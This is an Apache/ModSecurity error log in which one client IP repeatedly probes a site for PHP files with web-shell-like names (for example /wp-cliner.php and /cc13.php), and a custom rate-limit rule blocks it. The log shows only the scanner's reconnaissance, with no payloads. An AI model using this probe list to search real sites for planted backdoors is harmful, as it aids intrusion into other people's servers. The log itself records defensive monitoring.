[Mon May 04 23:53:11.971659 2026] [:error] [pid 61150:tid 61174] [client 4.204.197.96:42999] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ouh.php"] [unique_id "afjA5-8QXWVLiwIGVpeo0gAAAVU"]
[Mon May 04 23:53:12.420334 2026] [:error] [pid 3341:tid 3361] [client 4.204.197.96:42720] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ouh.php"] [unique_id "afjA6E9o3_LordU0wW6fQwAAAJE"]
[Mon May 04 23:53:12.851980 2026] [:error] [pid 3341:tid 3356] [client 4.204.197.96:42970] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ouh.php"] [unique_id "afjA6E9o3_LordU0wW6fRQAAAIw"]
[Mon May 04 23:53:13.345455 2026] [:error] [pid 32471:tid 32492] [client 4.204.197.96:42698] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fone1.php"] [unique_id "afjA6Xmjpb9EYq6AqhKSkAAAARI"]
[Mon May 04 23:53:13.815948 2026] [:error] [pid 61150:tid 61156] [client 4.204.197.96:42895] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fone1.php"] [unique_id "afjA6e8QXWVLiwIGVpeo1AAAAUM"]
[Mon May 04 23:53:14.302434 2026] [:error] [pid 3341:tid 3363] [client 4.204.197.96:42883] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fone1.php"] [unique_id "afjA6k9o3_LordU0wW6fRwAAAJM"]
[Mon May 04 23:53:14.721420 2026] [:error] [pid 61150:tid 61153] [client 4.204.197.96:42824] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fone1.php"] [unique_id "afjA6u8QXWVLiwIGVpeo1wAAAUA"]
[Mon May 04 23:53:15.145539 2026] [:error] [pid 32471:tid 32485] [client 4.204.197.96:43108] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sko.php"] [unique_id "afjA63mjpb9EYq6AqhKSlAAAAQs"]
[Mon May 04 23:53:15.576913 2026] [:error] [pid 61043:tid 61086] [client 4.204.197.96:42713] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sko.php"] [unique_id "afjA658-LwtfURjiAbDp8QAAAEs"]
[Mon May 04 23:53:16.028067 2026] [:error] [pid 61150:tid 61163] [client 4.204.197.96:42885] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sko.php"] [unique_id "afjA7O8QXWVLiwIGVpeo3AAAAUo"]
[Mon May 04 23:53:16.451855 2026] [:error] [pid 3341:tid 3357] [client 4.204.197.96:42907] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sko.php"] [unique_id "afjA7E9o3_LordU0wW6fTwAAAI0"]
[Mon May 04 23:53:16.867932 2026] [:error] [pid 61150:tid 61165] [client 4.204.197.96:42747] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "afjA7O8QXWVLiwIGVpeo4AAAAUw"]
[Mon May 04 23:53:17.336580 2026] [:error] [pid 61043:tid 61088] [client 4.204.197.96:42978] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "afjA7Z8-LwtfURjiAbDp8wAAAE0"]
[Mon May 04 23:53:17.752814 2026] [:error] [pid 3341:tid 3363] [client 4.204.197.96:42962] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "afjA7U9o3_LordU0wW6fVAAAAJM"]
[Mon May 04 23:53:18.202578 2026] [:error] [pid 3341:tid 3359] [client 4.204.197.96:42890] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cilus.php"] [unique_id "afjA7k9o3_LordU0wW6fVgAAAI8"]
[Mon May 04 23:53:18.633750 2026] [:error] [pid 3341:tid 3354] [client 4.204.197.96:42741] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cliner.php"] [unique_id "afjA7k9o3_LordU0wW6fVwAAAIo"]
[Mon May 04 23:53:19.071901 2026] [:error] [pid 3341:tid 3351] [client 4.204.197.96:42882] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cliner.php"] [unique_id "afjA709o3_LordU0wW6fWAAAAIc"]
[Mon May 04 23:53:19.530193 2026] [:error] [pid 61042:tid 61047] [client 4.204.197.96:42716] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cliner.php"] [unique_id "afjA70nAPPS1fjubA9RxswAAAME"]
[Mon May 04 23:53:19.955121 2026] [:error] [pid 32471:tid 32481] [client 4.204.197.96:42963] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cliner.php"] [unique_id "afjA73mjpb9EYq6AqhKSnQAAAQc"]
[Mon May 04 23:53:20.399352 2026] [:error] [pid 32471:tid 32476] [client 4.204.197.96:42726] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-sx10.php"] [unique_id "afjA8Hmjpb9EYq6AqhKSnwAAAQI"]
[Mon May 04 23:53:20.829431 2026] [:error] [pid 3341:tid 3361] [client 4.204.197.96:42689] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-sx10.php"] [unique_id "afjA8E9o3_LordU0wW6fXgAAAJE"]
[Mon May 04 23:53:21.297437 2026] [:error] [pid 32471:tid 32489] [client 4.204.197.96:42997] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-sx10.php"] [unique_id "afjA8Xmjpb9EYq6AqhKSogAAAQ8"]
[Mon May 04 23:53:21.716863 2026] [:error] [pid 61044:tid 61126] [client 4.204.197.96:42949] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-sx10.php"] [unique_id "afjA8Uw8w2zZZXI6H1u6HwAAABg"]
[Mon May 04 23:53:22.211090 2026] [:error] [pid 61044:tid 61117] [client 4.204.197.96:42728] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packed.php"] [unique_id "afjA8kw8w2zZZXI6H1u6IAAAAA8"]
[Mon May 04 23:53:22.636474 2026] [:error] [pid 61042:tid 61062] [client 4.204.197.96:42943] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packed.php"] [unique_id "afjA8knAPPS1fjubA9RxtgAAANA"]
[Mon May 04 23:53:23.074906 2026] [:error] [pid 61044:tid 61124] [client 4.204.197.96:42988] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packed.php"] [unique_id "afjA80w8w2zZZXI6H1u6IwAAABY"]
[Mon May 04 23:53:23.529078 2026] [:error] [pid 3341:tid 3351] [client 4.204.197.96:43050] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/packed.php"] [unique_id "afjA809o3_LordU0wW6fYwAAAIc"]
[Mon May 04 23:53:24.088653 2026] [:error] [pid 61150:tid 61176] [client 4.204.197.96:42969] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "afjA9O8QXWVLiwIGVpeo5gAAAVc"]
[Mon May 04 23:53:24.600162 2026] [:error] [pid 61042:tid 61056] [client 4.204.197.96:43019] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "afjA9EnAPPS1fjubA9RxugAAAMo"]
[Mon May 04 23:53:25.102259 2026] [:error] [pid 61042:tid 61064] [client 4.204.197.96:42959] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "afjA9UnAPPS1fjubA9RxuwAAANI"]
[Mon May 04 23:53:25.552741 2026] [:error] [pid 3341:tid 3363] [client 4.204.197.96:43006] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "afjA9U9o3_LordU0wW6fZwAAAJM"]
[Mon May 04 23:53:25.999611 2026] [:error] [pid 32471:tid 32475] [client 4.204.197.96:42981] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "afjA9Xmjpb9EYq6AqhKSpwAAAQE"]
[Mon May 04 23:53:26.425002 2026] [:error] [pid 3341:tid 3353] [client 4.204.197.96:42707] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "afjA9k9o3_LordU0wW6fagAAAIk"]
[Mon May 04 23:53:26.857515 2026] [:error] [pid 3341:tid 3351] [client 4.204.197.96:42979] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "afjA9k9o3_LordU0wW6fbAAAAIc"]
[Mon May 04 23:53:27.396805 2026] [:error] [pid 61043:tid 61082] [client 4.204.197.96:42927] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "afjA958-LwtfURjiAbDp-QAAAEc"]
[Mon May 04 23:53:27.912989 2026] [:error] [pid 61042:tid 61069] [client 4.204.197.96:42916] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fileas.php"] [unique_id "afjA90nAPPS1fjubA9RxwgAAANc"]
[Mon May 04 23:53:28.413459 2026] [:error] [pid 61042:tid 61052] [client 4.204.197.96:42956] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fileas.php"] [unique_id "afjA-EnAPPS1fjubA9RxwwAAAMY"]
[Mon May 04 23:53:28.920969 2026] [:error] [pid 32471:tid 32481] [client 4.204.197.96:42737] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fileas.php"] [unique_id "afjA-Hmjpb9EYq6AqhKSrQAAAQc"]
[Mon May 04 23:53:29.408010 2026] [proxy_fcgi:error] [pid 3341:tid 3360] [client 4.204.197.96:42889] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:53:29.621876 2026] [proxy_fcgi:error] [pid 3341:tid 3361] [client 4.204.197.96:42889] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:53:29.840755 2026] [proxy_fcgi:error] [pid 3341:tid 3366] [client 4.204.197.96:42889] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:53:30.058467 2026] [proxy_fcgi:error] [pid 3341:tid 3363] [client 4.204.197.96:42889] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:53:30.271656 2026] [proxy_fcgi:error] [pid 3341:tid 3356] [client 4.204.197.96:42889] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:53:30.487341 2026] [proxy_fcgi:error] [pid 3341:tid 3365] [client 4.204.197.96:42889] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:53:30.700739 2026] [proxy_fcgi:error] [pid 3341:tid 3344] [client 4.204.197.96:42889] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:53:30.919046 2026] [proxy_fcgi:error] [pid 3341:tid 3346] [client 4.204.197.96:42889] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:53:31.143165 2026] [proxy_fcgi:error] [pid 3341:tid 3351] [client 4.204.197.96:42889] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:53:31.357742 2026] [proxy_fcgi:error] [pid 3341:tid 3364] [client 4.204.197.96:42889] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:53:31.578045 2026] [proxy_fcgi:error] [pid 3341:tid 3362] [client 4.204.197.96:42889] AH01071: Got error 'Primary script unknown'
[Mon May 04 23:53:31.875958 2026] [:error] [pid 3341:tid 3367] [client 4.204.197.96:42889] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/racs3.php"] [unique_id "afjA-09o3_LordU0wW6ffgAAAJc"]
[Mon May 04 23:53:32.322971 2026] [:error] [pid 61150:tid 61157] [client 4.204.197.96:42926] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/racs3.php"] [unique_id "afjA_O8QXWVLiwIGVpeo8AAAAUQ"]
[Mon May 04 23:53:32.865998 2026] [:error] [pid 61150:tid 61176] [client 4.204.197.96:42964] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/racs3.php"] [unique_id "afjA_O8QXWVLiwIGVpeo8wAAAVc"]
[Mon May 04 23:53:33.403041 2026] [:error] [pid 61150:tid 61162] [client 4.204.197.96:42909] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/racs3.php"] [unique_id "afjA_e8QXWVLiwIGVpeo9AAAAUk"]
[Mon May 04 23:53:33.873192 2026] [:error] [pid 3341:tid 3360] [client 4.204.197.96:42749] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zzkhe.php"] [unique_id "afjA_U9o3_LordU0wW6ffwAAAJA"]
[Mon May 04 23:53:34.345389 2026] [:error] [pid 32471:tid 32485] [client 4.204.197.96:43003] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zzkhe.php"] [unique_id "afjA_nmjpb9EYq6AqhKSrwAAAQs"]
[Mon May 04 23:53:35.114208 2026] [:error] [pid 32471:tid 32483] [client 4.204.197.96:42835] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zzkhe.php"] [unique_id "afjA_3mjpb9EYq6AqhKSswAAAQk"]
[Mon May 04 23:53:35.637206 2026] [:error] [pid 3341:tid 3365] [client 4.204.197.96:42948] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zzkhe.php"] [unique_id "afjA_09o3_LordU0wW6fggAAAJU"]
[Mon May 04 23:53:36.059356 2026] [:error] [pid 3341:tid 3364] [client 4.204.197.96:42961] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samll.php"] [unique_id "afjBAE9o3_LordU0wW6fhgAAAJQ"]
[Mon May 04 23:53:36.598435 2026] [:error] [pid 61044:tid 61109] [client 4.204.197.96:42902] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samll.php"] [unique_id "afjBAEw8w2zZZXI6H1u6KQAAAAc"]
[Mon May 04 23:53:37.104953 2026] [:error] [pid 61043:tid 61088] [client 4.204.197.96:42936] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samll.php"] [unique_id "afjBAZ8-LwtfURjiAbDp_gAAAE0"]
[Mon May 04 23:53:37.528056 2026] [:error] [pid 3341:tid 3366] [client 4.204.197.96:43004] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samll.php"] [unique_id "afjBAU9o3_LordU0wW6fkAAAAJY"]
[Mon May 04 23:53:38.021911 2026] [:error] [pid 3341:tid 3350] [client 4.204.197.96:43001] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mga.php"] [unique_id "afjBAk9o3_LordU0wW6fkgAAAIY"]
[Mon May 04 23:53:38.504009 2026] [:error] [pid 3341:tid 3355] [client 4.204.197.96:42906] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mga.php"] [unique_id "afjBAk9o3_LordU0wW6fkwAAAIs"]
[Mon May 04 23:53:38.987638 2026] [:error] [pid 32471:tid 32496] [client 4.204.197.96:42908] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mga.php"] [unique_id "afjBAnmjpb9EYq6AqhKStgAAARY"]
[Mon May 04 23:53:39.518726 2026] [:error] [pid 32471:tid 32478] [client 4.204.197.96:42938] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mga.php"] [unique_id "afjBA3mjpb9EYq6AqhKStwAAAQQ"]
